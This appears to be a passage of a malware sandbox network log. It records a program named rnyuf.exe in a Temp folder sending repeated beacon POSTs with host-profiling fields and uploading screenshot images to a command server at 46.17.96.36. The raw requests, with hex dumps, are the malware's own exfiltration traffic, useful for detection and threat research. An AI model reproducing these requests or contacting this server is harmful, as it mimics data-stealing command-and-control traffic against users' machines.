Aug 29, 2021 22:28:00.643048048 CEST	12022	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.4	49893	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.470861912 CEST	11924	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:00.547666073 CEST	12000	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.4	49894	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.689237118 CEST	12023	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:00.766000986 CEST	12023	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.4	49895	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.895920992 CEST	12024	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:28:00.896096945 CEST	12024	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:00.896389961 CEST	12034	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:00.896560907 CEST	12037	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:00.930913925 CEST	12046	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:00.931233883 CEST	12063	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:00.963196993 CEST	12071	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:00.963255882 CEST	12076	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:28:00.963444948 CEST	12079	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:28:00.963546038 CEST	12092	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:28:00.964066029 CEST	12100	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:28:01.064990044 CEST	12136	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.4	49896	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.925252914 CEST	12038	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:00.996964931 CEST	12135	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.4	49897	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:01.161341906 CEST	12137	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:01.233273983 CEST	12137	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.4	49898	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:01.340183973 CEST	12138	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbd Host: 46.17.96.36 Content-Length: 110771 Cache-Control: no-cache
Aug 29, 2021 22:28:01.340241909 CEST	12138	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 36 65 65 63 30 39 30 33 62 33 36 31 30 33 63 33 63 38 31 31 61 38 66 61 39 62 30 66 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1a6eec0903b36103c3c811a8fa9b0fbdContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:01.340504885 CEST	12148	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:01.340660095 CEST	12151	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:01.375137091 CEST	12157	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:01.375277996 CEST	12159	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:01.375741959 CEST	12171	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:01.375858068 CEST	12177	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:01.410290003 CEST	12180	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:01.410371065 CEST	12182	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:01.410547972 CEST	12193	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:01.514205933 CEST	12250	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49751	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:15.672137976 CEST	2744	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:15.672533035 CEST	2744	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:15.673347950 CEST	2754	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:15.673721075 CEST	2757	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:15.709050894 CEST	2777	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:15.709207058 CEST	2782	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:15.745023012 CEST	2790	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:15.745372057 CEST	2793	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:15.745564938 CEST	2809	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:15.745810986 CEST	2817	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:15.746072054 CEST	2822	OUT	Data Raw: 4a ed e4 67 22 a1 26 6a 7c be b4 86 48 c7 53 58 cd 75 21 ef 51 99 5c f7 a7 c8 68 b0 ef a9 b6 6e a2 5e c2 a3 6d 45 57 a6 2b 1b 24 f7 a3 93 47 22 34 54 12 34 db 54 63 d2 a0 7d 42 43 de a9 d1 4e c9 16 a9 c5 13 35 dc 87 f8 aa 33 2b 9e a4 d3 28 aa b2 Data Ascii: Jg"&j\|HSXu!Q\hn^mEW+$G"4T4Tc}BCN53+()E!I>QaNHcMhQIZb%/,~Vfjpv/z+(Q@)-w-%\(RCEP!hPGj(I@Gz-/j
Aug 29, 2021 22:27:15.854780912 CEST	2851	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.4	49899	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:01.374511957 CEST	12151	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:01.459302902 CEST	12250	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.4	49900	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
